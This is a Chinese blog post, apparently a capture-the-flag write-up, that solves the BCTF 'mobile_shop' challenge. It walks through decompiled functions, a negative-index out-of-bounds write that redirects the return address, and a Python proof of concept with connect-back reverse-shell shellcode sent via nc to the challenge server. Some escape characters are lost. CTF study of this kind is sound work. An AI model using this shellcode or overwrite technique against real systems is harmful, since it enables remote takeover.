zoukankan      html  css  js  c++  java
  • linux-写入溢出

    身无分文: 200

    描述

    米特尼克在BAT上班时,发现很多同事都在用新款Android手机,很是羡慕,他也想搞一部,来替换他那部用了“二十多年”的摩托罗拉手机。但是他在BAT公司还没拿到第一笔工资,用假身份申请的信用卡在租房与日常饮食上也快刷爆了,可以说是身无分文了。这却难不倒米特尼克,他发现了这个销售手机的在线商店。商店地址:218.2.197.251:1234 http://bctf.cn/files/downloads/mobile_shop_4d904f700ef95bae39936cd9c0829d31


    程序界面:


    做这种题可以先将 函数流程理出来就好做了

    int __cdecl sub_8048C00()  主功能函数{

    sub_8048840((int)&v4); 漏洞函数  -》

    signed int __cdecl sub_8048A30(int a1)(

    函数中明显有一个 sub_80486F0((int)&unk_804B1E0, 200, 10 明显200字节是装载shellcode的)


    }



    int __cdecl sub_8048C00()
    {
      char *v0; // eax@1
      signed int v1; // eax@4
      int result; // eax@10
      char v3; // [sp+13h] [bp-19h]@2
      char arr; // [sp+14h] [bp-18h]@14
      char v5; // [sp+1Bh] [bp-11h]@1
      int v6; // [sp+1Ch] [bp-10h]@1

    可以看到主函数 sub_8048C00   的返回地址肯定比  arr字符串的地址高,所以可以修改返回地址

    可以发现漏洞点:



    sub_8048C00   主功能函数
    返回地址  :0804859e

    修改为      0804B1E0
    输入 " -17"可以85 ++  (0xb1-0x85)次
    输入 " -16"可以9e ++  (0xe0-0x9e)次


    EDB看到:



    GDB可以看到:




    最后

    nc 218.2.197.251:1234 1234 < payload.txt 即可获得shell

    POC:

    shellcode = (  
    #define IPADDR 'x0ax10x02x1c'  10.16.2.28
    #define PORT 'x7ax69'
    'x31xc0x31xdbx31xc9x31xd2'
    'xb0x66xb3x01x51x6ax06x6a'
    'x01x6ax02x89xe1xcdx80x89'
    'xc6xb0x66x31xdbxb3x02x68'
    #IPADDR
    'x0ax10x02x1c'
    'x66x68'
    #PORT
    'x7ax69'
    'x66x53xfe'
    'xc3x89xe1x6ax10x51x56x89'
    'xe1xcdx80x31xc9xb1x03xfe'
    'xc9xb0x3fxcdx80x75xf8x31'
    'xc0x52x68x6ex2fx73x68x68'
    'x2fx2fx62x69x89xe3x52x53'
    'x89xe1x52x89xe2xb0x0bxcd'
    'x80x90'
    )
    
    data = ''
    data += 'a
     -16
    '*(0xe0-0x9e)
    data += 'a
     -17
    '*(0xb1-0x85)
    data += 'a
    1
    '
    data += 'c
    y
    '
    data += 'name
    '
    data += shellcode+'
    '
    data += 'd
    '
    open('payload.txt','w').write(data)
    
    import binascii
    print repr(binascii.hexlify(data))






  • 相关阅读:
    Sgu294He's Circles
    [HNOI2008]Card洗牌
    传球游戏
    [BZOJ1478]Sgu282 Isomorphism
    [POJ2154]Color
    [ZOJ1961]Let it Bead
    BZOJ1257 [CQOI2007]余数之和sum
    BZOJ1192 [HNOI2006]鬼谷子的钱袋
    BZOJ4614 [Wf2016]Oil
    BZOJ3209 花神的数论题
  • 原文地址:https://www.cnblogs.com/zcc1414/p/3982368.html
Copyright © 2011-2022 走看看